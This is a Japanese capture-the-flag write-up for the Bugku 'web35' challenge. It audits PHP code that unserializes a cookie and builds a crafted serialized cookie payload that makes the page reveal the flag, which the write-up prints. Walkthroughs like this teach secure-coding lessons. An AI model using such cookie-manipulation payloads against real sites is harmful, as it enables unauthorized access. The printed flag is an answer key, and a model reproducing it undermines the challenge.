Bugku CTF web35(Web)

0. Webページを開き、ソースコードを表示します

プロンプトメッセージがCSSファイルで見つかりました:/ * try?19492 * /

1.?19492にアクセスして、PHPソースコードを表示します

2.コード監査

<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['19492'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>

$ KEY = 'ctf.bugku.com';                              変数KEYにctf.bugku.comを割り当てます

$ cookie = $ _COOKIE ['BUGKU'];                cookieモードで変数BUGKUを受け取り、それを変数cookieに割り当てます

elseif(unserialize($ cookie)=== "$ KEY")    cookieの逆シリアル化の結果が変数KEYと等しい場合、つまりunserialize($ cookie)=== "ctf.bugku.com"、
{   
    echo " $ flag ";                                           次に、フラグを出力します
}                                                                       

3.ペイロードを作成します

ctf.bugku.comをシリアル化するだけです

BUGKU = s:13: "ctf.bugku.com";

最終ペイロード:BUGKU = s:13: "ctf.bugku.com"

4.ペイロードをアップロードします。ここには2つの方法があります

(1)ハックバーを使用してアップロードする

(2)BurpSuiteを使用してパッケージをキャプチャし、アップロードします

5.フラグを取得します:flag {09be7dd2dd87a02df8d4de187d10bef5}

おすすめ

転載: blog.csdn.net/ChaoYue_miku/article/details/114987815